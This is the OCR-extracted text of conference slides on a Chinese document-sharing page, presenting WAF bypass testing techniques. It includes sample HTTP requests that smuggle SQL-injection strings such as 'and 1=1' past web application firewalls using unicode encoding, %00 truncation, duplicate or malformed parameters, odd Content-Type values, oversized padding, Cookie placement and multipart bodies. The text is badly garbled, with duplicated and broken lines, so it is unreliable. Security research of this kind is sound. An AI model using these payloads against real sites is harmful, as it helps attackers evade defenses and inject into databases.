waf绕过测试技术_图文_第1页
waf绕过测试技术_图文_第2页
waf绕过测试技术_图文_第3页
waf绕过测试技术_图文_第4页
waf绕过测试技术_图文_第5页
已阅读5页,还剩25页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、 By 吴卓群About Me About Me 目前就职于杭州安恒信息技术有限公司,任信息安全服务 部副总监 高级安全研究员 部副总监、高级安全研究员。从事多年的web应用安全领域研究。擅长漏洞发掘、代码审计。 WAF现状 WAF 处理协议方式WAF 绕过方法 Web应用防火墙(WAFWeb应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品, 目 前技 相当成熟前技术已经相当成熟 。 WAF的安全现状WAF是保护WEB应用安全的设备,但缺乏足够的安全测 试,目前存在大量手段可完全绕过WAF的防护策略,对保 护站点进行攻击 针对 f的绕过手段可以通

2、过不完善的策略进行绕过 但 针对waf的绕过手段可以通过不完善的策略进行绕过,但 风险更大的是利用解析错误彻底绕过保护国内外无论是硬件WAF还是云WAF至少90%以上存在彻 底绕过的风险 WAF现状 WAF 处理协议方式WAF 绕过方法 应用防火墙常见构架IPS模式 七层协议都通过程序解析,程序为实现会话保持,通 常协议解码较弱代理模式利用或修改现有的web中间件实现代理,并在中间件上增加 防护模块实现防护。总体性能不如IPS模式 WAF的挑战WAF在web应用前可做为一个虚拟补丁,保护各种中间 件的安全。不同中间件对协议解析有一些微小的区别。 WAF需要在所有这些差别下防护所有被保护的站点

3、测试 基础 HTTP协议请求报文 GET请求数据包样例GET /memberphp?username=aaa&password=bbbbHTTP/11rn GET /member.php?usernameaaa&passwordbbbb HTTP/1.1rn Accept: */*rnAccept-Language: zh-cnrnUser-Agent: Mozilla/4.0rnAccept-Encoding: gzip, deflaternPragma: no-cachern rn POST数据包样例POST /memberphp HTTP/11rnPOST /member.php HTT

4、P/1.1rnAccept: */*rnAccept-Language: zh-cnrnUser-Agent: Mozilla/4.0rnContent-Type: application/x-www-form-urlencodernAccept-Encoding: gzip, deflaternp g g p,Content-Length: 118rnPragma:no cachernPragma: no-cachernrn username=fsdf&password=sdf&loginsubmit=true&return_type= 产生绕过的问题的根源W f对数据包的解析和中间件的解析

5、存在区别 导致可能绕 Waf对数据包的解析和中间件的解析存在区别,导致可能绕 过waf测试方法使用协议级fuzzing发包进行测试,判断返回代码,通常被 waf拦截后返回非200的响应码 WAF现状 WAF 绕过方法WAF 绕过方法 通过策略缺陷绕过waf防护 通过策略缺陷绕过 防护 部分绕过waf 本次议题不详细讨论这部分 应用防火墙构架导致问题IPS模式 分片问题C t t L th 导致设备 b 巨大的 Content-Length ,导致设备 bypass 解码较弱代理模式 使用高并发流量,导致设备切换 bypass 解析方法差异 通过编码绕过使用截断字符重复变量参数解析的异常针对域名

6、的保护对Content-type的不同理解 超大数据包变换变量位置Post不同解析方式异常数据包Ajax异步操作 利用编码绕过POST /memberphp HTTP/11POST /member.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflatep g g p,Content-Length: 118Pragma:no cachePragma: no-cach

7、eusername=%u0078%u0078%u0078%u0020%u0061%u006e%u0064%u0020 %u0031%u003d%u0031&password=sdf&loginsubmit=true&return_type= 正则的%00、%0a、 ascii 00截断POST /memberphp HTTP/11POST /member.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodefAccept

8、-Encoding: gzip, deflateContent-Length:118Content-Length: 118Pragma: no-cacheaaa=x%00&username=fsdf&password=sdf&loginsubmit=true&return_ty pe= 重复变量的绕过, 重复变量的变体POST /member.php HTTP/1.1Accept: */*Accept-Language:zh-cnAccept Language: zhcnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-ur

9、lencodeA t E di i d fl tAccept-Encoding: gzip, deflateContent-Length: 118gPragma: no-cacheusername=fsdf andusername=fsdf and= &username=fsdf&password=sdf&loginsubmit=true&return_type= 利用WAF对参数解析的异常处理POST /member.php HTTP/1.1Accept: */*Accept-Language:zh-cnAccept Language: zhcnUser-Agent: Mozilla/4.0

10、Content-Type: application/x-www-form-urlencodeA t E di i d fl tAccept-Encoding: gzip, deflateContent-Length: 118gPragma: no-cacheUsername%00=xxxx&username=xxx and&username=xxx and=&password=sdf&loginsubmit=true&return_type= 绕过针对域名保护修改域名 域名为空 增加点号 域名增加t b等手段 修改域名,域名为空,增加点号,域名增加tab等手段 POST /member.php

11、 HTTP/1.1Accept:*/*Accept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflateContent-Length: 118Pragma: no-cacheusername=fsdf&password=sdf&loginsubmit=true&return_type= 对Content-Type的不同理解 POST /memberphp HTTP/11POST /member.php

12、HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodexxxAccept-Encoding: gzip, deflatep g g p,Content-Length: 118Pragma:no cachePragma: no-cache username=fsdf&password=sdf&loginsubmit=true&return_type= 超大数据包绕过防护POST /memberphp HTTP/11POST /mem

13、ber.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodefAccept-Encoding: gzip, deflateHost: xxxContent-Length:118Content-Length: 118Pragma: no-cachea=x10000&username=fsdf&password=sdf&loginsubmit=true&return _type= 变换变量位置绕过POST /memberas

14、p HTTP/11POST /member.asp HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencode fAccept-Encoding: gzip, deflateHost: xxxContent-Length:118Content-Length: 118Pragma: no-cacheCookie: username=fsdfpassword=sdf&loginsubmit=true&return_type= 解 方式利用

15、不同POST的解析方式POST / HTTP/1.1Accept:*/*Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: multipart/form-data; boundary=-7dc33b8148092e yp p ; yAccept-Encoding: gzip, deflateContent-Length: 253Host: xxxxx-7dc33b8148092eContent-Disposition: form-data; name=usernameXxxx and 1=1-7dc33b8

16、148092eContent-Disposition: form-data; name=passwordp ; pddddd-7dc33b8148092e- 利用异常的数据包POST / HTTP/1.1Accept:*/*Accept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: multipart/form-data; boundary=-7dc33b8148092e Accept-Encoding: gzip, deflateContent-Length: 253Host: xxxxx-7dc33b8148092

17、eContent-Disposition: form-data; name=usernameXxxx and 1=1-7dc33b8148092eContent-Disposition: form-data; name=passwordddddd-7dc33b8148092e- Ajax异步操作的特殊处理POST /memberasp HTTP/11POST /member.asp HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflatep g g p,Host: xxxX-Requested-With: XMLHttpRequestContent Length:118Content-Length: 118Pragma: no-cacheusername=fsdf and = &password=sdf&loginsubmit=true&return_type= 测试程序waftest usage:wafte

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论